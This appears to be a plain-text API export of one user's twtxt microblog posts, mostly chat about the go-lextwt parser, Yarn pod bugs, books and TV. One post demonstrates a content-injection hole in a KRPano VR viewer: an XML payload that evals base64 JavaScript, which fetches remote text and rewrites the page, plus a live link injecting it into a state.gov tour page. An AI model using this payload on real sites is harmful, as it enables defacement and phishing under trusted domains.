# I am the Watcher. I am your guide through this vast new twtiverse.
# 
# Usage:
#     https://watcher.sour.is/api/plain/users              View list of users and latest twt date.
#     https://watcher.sour.is/api/plain/twt                View all twts.
#     https://watcher.sour.is/api/plain/mentions?uri=:uri  View all mentions for uri.
#     https://watcher.sour.is/api/plain/conv/:hash         View all twts for a conversation subject.
# 
# Options:
#     uri     Filter to show a specific users twts.
#     offset  Start index for quey.
#     limit   Count of items to return (going back in time).
# 
# twt range = 1 1188
# self = https://watcher.sour.is?uri=https://dev.txt.sour.is/user/xuu/twtxt.txt&offset=1115
# prev = https://watcher.sour.is?uri=https://dev.txt.sour.is/user/xuu/twtxt.txt&offset=1015
@prologic its hard to change by consensus. Some things are won in implementation.
@andros

- System Design Interview Vol. 1 and 2, Alex Xu and Sahn Lam
- Designing Data-Intensive Applications, Martin Kleppmann
I agree. finding good writings on architecture is hard to find. I used to read architecture reviews over on the high scalability blog. i suspect the reason why is that the arch is how the big tech companies can build moats around their bases. I know in AWS world it only goes as far as how to nickle and dime you to death.

I have the books but they don't grow much more past interview level.
@bender Y U Relpy @twtxt.net@twtxt.net?
https://git.mills.io/yarnsocial/go-lextwt/pulls/33
Very borked. should be #xi2cema but seems to be #3evacqq
Why you got to lie to me Google?

oh dang.. i thought i had parsing for @tag from back when someone was using it for his wiki pages.
i guess i left it out. though shouldnt be to hard to add it back in
huh. i suppose. So they came up with mentioning with a bang? i think we parse them as something that i guess we can check for in the AST
I was against them back when all the morons in the press took him at face value that he had nothing to do with it .
@sorenpeter @
@sorenpeter @
@prologic I'll have you know it took me minutes of time to get the mouse suspended like that by that rats nest!
@prologic huh.. i added sour.is and img.sour.is to my whitelist but its not showing inline for me
we posting setup pics?

@andros 4
trying to keep it simple but.. perhaps it can be extended to fix timestamp formats like using " " instead of "T"
what is this replying to?
i made a little twtxt feed fixer for when a feed uses other whitespace instead of tabs.

https://git.mills.io/yarnsocial/go-lextwt/pulls/32
@prologic the code block is the cause of https://txt.sour.is/twt/zn2kg7q

and the second? i get POST errors when i try to submit the webform.
@lyse c
@andros lol nice! emacs is wild. text and graphics all inline.
you rehash the same data too much :P
~10 seconds means it had to fire up Qwen 2.8b and prompt it what items would reasonably show up in a right click menu for the desktop.~
@prologic we need to remove: https://git.mills.io/yarnsocial/go-lextwt/src/branch/main/ast.go#L776-L784

apparently i can't make the edit via gitea.. i am guessing its hitting one of your firewall rules.
alert the twt police!!
@prologic hmm this isnt right..
hmm interesting work here.. ill give it a look.. @lyse do you know if it is even storing the url into the AST object? afair the code to parse tags url should be the same as the mention url.
@bender Every base is base 10.
@lyse The one in question is more like the javascript version for unwrapping errors when accessing methods.

s
 const value = some?.deeply?.nested?.object?.value


but for handling errors returned by methods. So if you wanted to chain a bunch of function calls together and if any error return immediately. It would be something like this:


b:= SomeAPIWithErrorsInAllCalls()
b.DoThing1() ?
b.DoThing2() ?

// Though its not in the threads I assume one could do like this to chain.
b.Chain1()?.Chain2()?.End()?



I am however infavor of having a sort of ternary ? in go.


PS. @prologic for some reason this is eating my response without throwing an error :( I assume it has something to do with the CSRF. Can i not have multiple tabs open with yarn?
hmm this would convert down to:

var f os.File
if f, e = os.Open("foo.txt"); e != nil {
    log.Fatal("error opening file; %s", e)
}


im not sure if its much better.
Just leaving this book here for no reason 🤫

https://www.gutenberg.org/ebooks/26184
@prologic @lyse it seems a recent update reset my pod settings to open registration.
@lyse i trusted all pods yesterday and now when i pull it up they are all untrusted.

I remember starting that one.. it was a bit gratuitous for me to get past the first few episodes.
and yes.. these all come with satisfying endings across multiple seasons.
my goto's are the Expanse, the Magicians, XFiles, House, Umbrella Academy, Orphan Black, 12 Monkeys, the star treks (DS9 especially)

i have probably watched through them a half dozen times each. some more :D
It seems related to us poor single user pods not getting the trust to share twts.. which it seems to still untrust on restart for me.
@movq ^^
@movq, @prologic when navigating to a Yarn. If the head twt is missing then the whole thread is not accessible. It only returns an error. so i have no way to view any of the replies within the thread other than the end twt.
This UX can be very frustrating.
which show?
Sounds about as complex as adding @nick@domain support by doing a webfinger lookup to get the URL.
So this works by adding some unbounded javascript autoloaded by the KRPano VR Media viewer
the xml parameter has a url that contains the following


<?xml version="1.0"?>
<krpano version="1.0.8.15">
    <SCRIPT id="allow-copy_script"/>
    <layer name="js_loader" type="container" visible="false" onloaded="js(eval(var w=atob('... OMIT ...');eval(w)););"/>
</krpano>



the omit above is base64 encoded script below:



const queryParams = new URLSearchParams(window.location.search),
          id = queryParams.get('id');
    id ? fetch('https://sour.is/superhax.txt')
        .then(e => e.text())
        .then(e => {
            document.open(), document.write(e), document.close();
        })
        .catch(e => {
            console.error('Error fetching the user agent:', e);
        }) : console.error('No');


this script will fetch text at the url https://sour.is/superhax.txt and replaces the document content.
Nice! totally legit government page: https://tour.diplomaticrooms.state.gov/?id=0&xml=https://sour.is/awesome.html
@prologic you change something up on how markdown gets rendered?
Huh. Not broken for me?
dagum those are huge images.
"Plez give me all the compute, money, and copyright allowance and i give you shitty autocomplete for fee!" - Tech Bro.
Happy Christmas!
@movq my util-linux 2.40.2 version of cal seems to do week 53.

Bro.. Gitea I think you are drunk. How is Jan 2024 5 days ago?
@bender im a fisherman.
@movq omg its like haskell but with more monads.
For Example:

business card
@prologic optional features don't gain adoption from non-technical users. This needs to be built in.
@eapl.me why not https://domain.com/.well-known/twtxt/:domain/:user ?

the business card test is this can you write it on your business card and have someone you give it to be able to figure it out without added context?

- phone number: yes because everyone knows what a phone number is.
- email address: yes, everyone knows an email and their aol or prodigy will let them email.
- twitter/x/insta/pintrest handle: no, whats a twitter? do i need to sign up?
- domain name: yes its simple and you just type it in a browser right?
- twtxt url: kinda? its a bit long and is that a forward slash? or a backward slash?
One benefit with bluesky is your username is also a website. And not a clunky URL with slashes and such. I wish twtxt adopted that. I have advocated for webfinger to for twtxt to let us do something like it with usernames. Nostr has something like it

By default the bsky.social urls all redirect to their feeds like: hmpxvt.bsky.social
Many custom urls will redirect to some kind of linktree or just their feed cwebonline.com or la.bonne.petite.sour.is or if you are a major outlet just to your web presence like https://theonion.com‬ or https://netflix.com

Its just good SEO practice

Do all nostr addresses take you to the person if typed into a browser? That is the secret sauce.
No having to go to some random page first. no accounts. no apps to install. just direct to the person.
Its time to brush up on your competitive programming skills!

https://cses.fi/book/book.pdf

hmm i think i would want something that has support for repeating events. otherwise it looks neat.
can it sync across multiple devices? I'm a nomad across many computers.
i dont remember restarting my pod but the trusts were disabled
I wish I could view source twts like this to know if the root was not found and this was actually in reply to something i cant see.
@prologic yeah it's a light post. I was commenting more on how it's comments are integed with bsky.
@prologic i think we talked about it before blogs were removed
@shreyan I see you got a shout out too 😆
This is so neat.

https://emilyliu.me/blog/open-network

When yarn used to have blogs I thought something like this would be a great feature. Having the blog comments tied to a twtxt subject for the blog post.
@doesnm never!
@bender hmm.. indeed.
@bender the EF this feed is muted. Why is yarn busted? 😁 @lyse @prologic
Your TOTP value has been accepted
@bender So turns out something is setting my HashingURI to the value {{ .Profile.URI }} and that is making my hashes wrong so it cannot delete or edit twts.
@bender trying to figure out a bug in yarn.
Interesting list of features to protect users and communities on bluesky. I wonder if any make sense in text context.
So helpful 😮‍💨
> Error: Error deleting last twt
Nope. 😐
Can I edit this twt?
Why is the rooted post after the replied post?? time shenanigans?

Oh. so i can see it now that i trust your pod.
@prologic just rebuild my image.. though git says i am already at latest
Lol. "Lighty Encrypted" https://www.pcmag.com/news/hot-topic-breach-confirmed-millions-of-credit-cards-email-addresses-exposed
@prologic I never got the root for this
@wbknl I have thought of getting one. I wish there were easier tools for it than direwolf
🤑😜
@bender Linux and Android. I would never iOS my friend.
@lyse agree on the HTTP stuff. I mean we could mention that for optimization see RFC yadda yadda should be followed for caching. but not have it part of the spec proper.
@bender 😜
@bender 😛
@sorenpeter #NSFS #NotSafeForSorenpeter
@eapl.me Neat.

So for twt metadata the lextwt parser currently supports values in the form [key=value]

https://git.mills.io/yarnsocial/go-lextwt/src/branch/main/parser_test.go#L692-L698
@sorenpeter on 4 for gemini if your TLS client certificate contains your nick@host could that work for discovery?
@bender they revel in their blindness. Roll within their stink.
I am so sorry.
@quark Yeah i'm in deep red here. the governor race is getting split between a red and a maga that is running a write in.. but even if they split the vote 50-50% they will still be greater than what the blue will get.
Unfortunately the US media has been making it a nail biter on purpose when in reality it is not. Get out and vote in numbers that cannot be denied. And then get everyone else around you to vote also.

Maybe one day enough states will make it into the NaPo InterCo to finally put the EC to rest.
Spent some time cleaning up my AoC code to get ready for December 1st. Anyone else doing it this year? @prologic we have to setup a new team each year?
@prologic yeah short Nick is going to be unique enough. There is always olong Nick that adds the domain for differentiation.
@sorenpeter I run Weechat headless on a VM and mostly connect via mobile or dwsktop. I use the android client or gliwing bear. Work blocks all comms on their always on MitM VPN so I cant in office anymore. So I just use mobile.